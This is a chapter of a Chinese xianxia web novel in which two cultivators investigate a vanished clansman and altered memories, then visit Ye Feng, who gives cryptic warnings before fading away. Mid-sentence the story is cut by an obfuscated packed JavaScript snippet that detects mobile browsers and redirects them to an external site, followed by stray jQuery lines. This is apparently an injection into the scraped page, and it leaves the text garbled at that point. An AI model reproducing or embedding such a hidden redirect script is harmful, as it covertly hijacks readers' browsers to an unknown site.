说来也是缘分,赫连敏和叶枫的住所居然挨到一块,第二天由赫连霄带路,黎戈紧随其后。
路上赫连霄嘴就没闲过。
“我当时想要还动过赫连敏居所的念头,可惜看了眼名单,他和他的堂兄赫连卓住一块。我就放弃了,要是真换了,那我还真是自讨没趣。他们两个是我侄子辈最无趣的家伙,别的小辈或修逍遥道,或学多情道,做事潇洒风趣,颇有豁达心怀。可有几个看了几本书,把脑子看坏了,非要去学什么无情道。学就学吧,结果还学偏了,硬是觉得对谁都摆一副臭脸,别人说一句他呛一句,要么就不说话,以为这样便是斩情,依我看,都是些不入流的。”赫连霄将手支在下巴处,散漫地点评。
黎戈一开始没搭他的话,总觉得赫连霄是在指桑骂魁。
赫连霄轻哼一声,一双柳叶眼微眯,眼珠在阳光下的照射下变浅一些,猫儿式地在眼眶内转动:“也不知道那些个话本为什么独独偏爱无情道,总爱往主角脸上贴些‘大道无情,运行日月’的金,翻了几页看他是怎么个无情法,十有八九是杀妻杀夫杀子。嘴上说得好听,剜除心爱以凝神格,要这样就能当圣人,还不如直接拿刀抹了自己的脖子原地飞升咧。自己都不爱,那才叫一个无情。”
黎戈:“少说两句,待会我怕风大糊了你嗓子,见了赫连敏就说不出话来。”
赫连霄没听劝,声音是小了几分:“要无情道就真是无情那么浅显,这世上的修士除你我都有飞升之象,不知道天上塞不塞得下那么多活神仙。”
“你是有多讨厌无情道。”黎戈无奈道。
“家学如此,又不怪我。”赫连霄也说不出自己为什么潜意识里不喜,随口就扯了自己的祖宗出来背锅。
也没冤人。
第一代赫连家主原是某个宗门的无情道大师兄,样样出挑,为宗门立下汗马功劳,本是要继承掌门师尊衣钵的,但当时无情道颇为崇尚观无情之物意会无情大道,赫连氏性子比较轴,愣是盯着自己居所的竹子格物致知了几天几夜,格得头昏脑涨,依旧不解何为真正的无情。
如此,下山除妖的他居然晕乎乎地撞到一个孩童,孩童没倒,他自个五体投地摔在地上。
孩童以为这男人是饿晕的,就往他嘴里塞了自己手上没吃完的半块荷花酥。
赫连氏嚼着香甜的糕点,突然觉得格出无情又有什么意思,情爱自有它的可爱之处,甚至有可能只是半块沾着孩童口水的糖酥罢了。
悟情总比无情容易。
他不肯学无情道了。
师长将错处全算那个孩童头上,苦口婆心劝赫连氏回头是岸,他若继续学无情道那掌门的位置便还是他的。
赫连氏倒是不肯了。
“这是我的命数,合该我同无情道无缘。”
他如是说道,给师长磕了头,亲手废了自己的无情道,离宗下山转头学了多情道。
颇为诙谐恶趣味的是,赫连后辈专门种竹子来纪念这位长辈的精神。
据说这位先祖羽化前也知道,留了一句“竹笋清爽可口,蛮好”就走了。
一代家主带头叛逆,连带着后边的小辈都不怎么学无情道。
所以赫连霄觉得自己对无情道抱有没那么感兴趣的态度是最正常不过的,他们家骨子里就没这根筋。
二人在赫连霄的单口相声中走到赫连敏的住处,远远望去,就看见两个人背对着他们站立在树下。
赫连霄皱了皱眉,放下手垂在自己的青鸟剑旁。
那两个人的背影右边那个隐约看着像赫连卓,但左边那个却比赫连敏要矮上一大圈,更加修长瘦削。
“赫连敏?”赫连霄试探着喊了一句,黎戈走上前一步,长生剑出鞘半寸,锋芒微露。
无人应答,一片寂静,赫连霄叹气,又喊了一声:“赫连卓。”
右边那个人转过身来,板着张脸,看清是赫连霄后眼里闪过轻蔑:“小叔叔今日怎么没跟在少掌门身后当鹌鹑,独自跑来晚辈这儿。”
“烦死了,我就说乱修无情道会变成没礼貌的白痴。”赫连霄道,“赫连敏呢?你往日不是和他孟不离焦,焦不离孟的,就差拿米糊把你两黏一块。”
赫连卓没回答,依旧保持那副我看不起你的模样,赫连霄和黎戈对视一眼,绕了一圈走到那两人前。
在这期间,赫连卓的目光一直追随着他们两个,缓慢匀速地转动自己的脑袋。
一片树叶从树枝上被风剥离,散落地底和泥土搅和在一起。
待赫连霄和黎戈总算看清左边那人的脸,双双警觉又诧异。无他,他两证实了那人不是赫连敏。
赫连霄还没认出他是谁时,黎戈小声提醒:“他叫王煜,内门大比的第六位,和我一样是个剑修。”
“第六位?那他是怎么来万仙门的?”赫连霄觉得匪夷所思,“岂有此理,天和宗里还有比我更不守规矩的人?”
“王煜。”这回轮到黎戈去喊名字。
王煜目露凶光,咬牙切齿地说道:“黎戈,你别以为拿了内门大比第一就了不起,我迟早会证明我才是剑修第一人。当初比赛我拿了第五只是失误。”
?
你是第五位?
这回轮到黎戈百思不得其解了,你前面好端端排了五个人,怎么在你口中还少一个人的?
等等,黎戈脑中有什么一闪而过,被他捕捉到,他冷淡开口:“那又如何,你身旁这位也不过是我的手下败将罢了。”
果然,他话音刚落,当初排位第三和他没有交集的赫连卓登时涨红脸驳斥道:“好一个张狂的竖子!倘若不是你使诈趁我不备将我逐出界线,我分明是能战胜你的。你这个胜之不武的家伙!”
黎戈就看着这位陌生人信誓旦旦地数落自己的“卑劣行为”,刚想拍拍赫连霄的肩膀,又想起他肩上带伤,便只是平静地说道:“我想,现在可能只有你我记得关于赫连敏的事情了。”
“嘶——”赫连霄心头一阵寒风吹过,“你是说赫连敏这么大一个活人,就这样消失得无影无踪了?”
“只是猜测,不知二公子可有办法证明在下猜得不错。”黎戈道。
赫连霄沉思片刻,道:“最准确的就是办法就是你我找时间回天和宗一趟,赫连家的魂灯都供在祠堂,不死不灭。祠堂非直系弟子及其亲属不得入内。你我明日出发,最快五日就可以一探究竟。”
“太慢了。”黎戈道;“明日你载在我的长生上,我两日就要得到结果。”
“随你。”赫连霄动身离开。
树下的两个人就这样一直盯着他们目送他们下山,直到两个人没入地平线,这才恢复原样,直愣愣地站在树下。
成了烂泥的叶子冷眼仰视树上的同类。
它们没有区别……
“我真是服了,你确定我两不是被困在哪个秘境里面当人形蛐蛐被秘境主人观赏吗?”去叶枫洞府的路上赫连霄埋怨道:“好好一个世界,人不人,鬼不鬼的就算了,现在还整这一出。说句挨雷劈的,我现在真觉得天道有问题了,或者说这世界压根都是假的。”
黎戈冷不丁开口:“会不会在别人眼里,我们才是那个异类。毕竟那么多人都一样,唯独你我未曾有人引导,就有自己的思维。如此向来,不是更奇怪吗?你我的思想乃至情感,又是从何而来的?为什么你我却将这种格格不入的行为归结于正常人。”
这是一直困扰他的问题,如今说出口也不强求答案,只是恰好遇见一个同样参不透这个问题的同类,闲聊中带出了它。
赫连霄止住话,眼里滑过一丝惊悚。
王煜的到来使本就扑朔迷离的谜团的面容又被填上一抹诡异的胭脂,它此刻藏于夜色,苍白的脸没有一丝温情,嘴一张一合,可惜发条腐朽破败,发不出声音,堆在唇上的猩红口脂溶解,流淌,滴落在地上,汇成死寂的河流。
黎戈同赫连霄被迫缩在一叶扁舟上,尽可能小心谨慎地驾驶这条快要散架的小船,稍不留神就有堕入深渊的可能。
此刻,他们来到河流的一处分叉点。
由于叶枫是女修,赫连霄看名单时找新居所时只匆匆扫了一眼,只晓得她应当和另外一位女符修住在一块。
他正面和叶枫交谈仅一次,也就是上回的灵剑买卖,叶枫为人如何,性格如何他一概不知。脑子里面只迷迷糊糊记得叶枫的师尊好像不怎么出名,从来没在公共场合见过,但对叶枫还不错,从死人堆里抱回年幼的她,亲自抚养。
剩下的比较具体的,他还真说不出来。在他半夜回忆自己的前二十年里,发现他似乎一直将自己拘在闲竹居里面,从不外出,除
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411730|184620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去母亲,哥哥还有一众仆从,其余人等他一概不识。
后面为什么又肯出门了,似乎冥冥中有一双无形的手,掐着他的肩膀硬生生把他推向黎戈。
黎戈扣响洞府大门处的铜环。
“咚咚咚。”
洞府里头似乎很安静,只能听见叩门声的回响。
“没人吗?”赫连霄自言自语。
话音刚落,门开了,没有声音,露出一道黑漆漆的裂缝。
也许是今天怪异的事情已经够多了,债多不压身,赫连霄破罐子摔破觉得再差也不能差到哪里去,将脸凑近门翕开的缝,问道;“贸然造访,多有赔罪,请问叶枫道友在吗?”
寂静,还是寂静,寂静将时间拉得无限长,赫连霄快放弃时才听见里面传来叶枫的声音:“我在,进来时记得关上门,我不太想见光。”
进还是不进?
赫连霄拿眼神询问黎戈。
黎戈将几道剑气缠绕在他两周围,用口型说道:“走。”
横竖都是要杀头的境遇,不如挑个短的。
待眼睛适应漆黑的洞府,赫连霄总算看清楚洞府的摆设。
差点腿软转身跑路。
符纸,符纸,全是符纸。
密密麻麻的符纸贴满整个洞府,厚厚一层,遮天蔽日,遮得顶上的日光照不进半分。
符纸相对不多的地方应当是糊上去的,但在叶枫周围一圈,符纸被一把把剑钉在地上,过厚的符纸堆将剑吞噬一半。
黄色的纸,血色的字,银色的剑,高低错落,一眼过去,第一反应是觉得它们构成一个滚着血腥气的囚牢,之后又品出点庇护所的意思。
叶枫安静地盘坐在这个“庇护所”的中心,等赫连霄二人走进了才睁开她的眼。
那双眼里沾着泪光,但转瞬即逝,之后很长一段时间都在凝视赫连霄的脸。
在黑暗中,像是即将燃灭的蜡烛,唯有芯子深处还沾染了一点火光。
赫连霄心里打鼓,他有某种感悟,叶枫其实没有在看他,而是另外一个人,可是是谁呢?
“你还活着啊。”叶枫说道,她似乎很久没用嗓子了,说话是一字一顿的,语调很怪。
“记住把那把剑时刻带在身边。”这是她的第二句话。
她张嘴要说第三句话时,停顿一瞬,猛地从口中吐出一大口血,她被自己的血呛到,咳得弯下腰,血沫撒了一地。
赫连霄心莫名抽痛,不假思索地从储物戒中取出疗伤的丹药要去喂叶枫,叶枫却是摆了摆手拒绝服用丹药。
她看着赫连霄,眼里充满不甘,最后都化为一声叹气,不再理会他,而是望向黎戈,说了第三句话:“别信它们告诉你的任何话,一句都不要信。”
说完,她顶着黎戈诧异的目光又呕出一口血,这回的血里还带有内脏碎片,落在地上又陡然化作灰烬,最后消散在风里,无处可寻。
她用手支着自己迫使自己不会摔倒在地上,这回赫连霄是真没忍住,动手去触碰她的肩膀,想扶住她,没成想却抓住一团空气。
叶枫的身影一点点褪色,直至透明,薄的像是一缕云烟,天地不慈,容不下她。她挣扎着说出最后一句话,近乎歇斯底里:“都给我活着,你们两个别想去逞强,活着不好吗?非要去送死……”
起风了,烟散了。
叶枫眼里的泪终于落了下来。
为了能说出这几句话,不知道花了她多少时间的心血,她甚至都不知道会付出什么代价。
结果留给她的就这么几句话的时间。
太不公平了。
眼前画面一变再变。
“你老问自己为什么会叫叶枫,其实我也没有想那么多,只知道我当时是在一棵枫树树洞里把你掏出来的。”
“我觉得你的命是那棵枫树给的,你又说不出自己应该叫什么,干脆就承了枫树的情,去做它叶子中最独特的一片。我想它曾经庇护过你,也会希望你会拥有和枫叶一样绚烂的人生。”那人站在树下低低地笑,常年习刀的手很轻松地举起年幼的她,将她抗在肩头,她伸手去够天上的云,觉得自己坐在一座不朽伟岸的高山上。
可惜他不是真的山,而她的未来也算不上光明璀璨。
等她扭头去找那片枫树岭时,已经找不到了。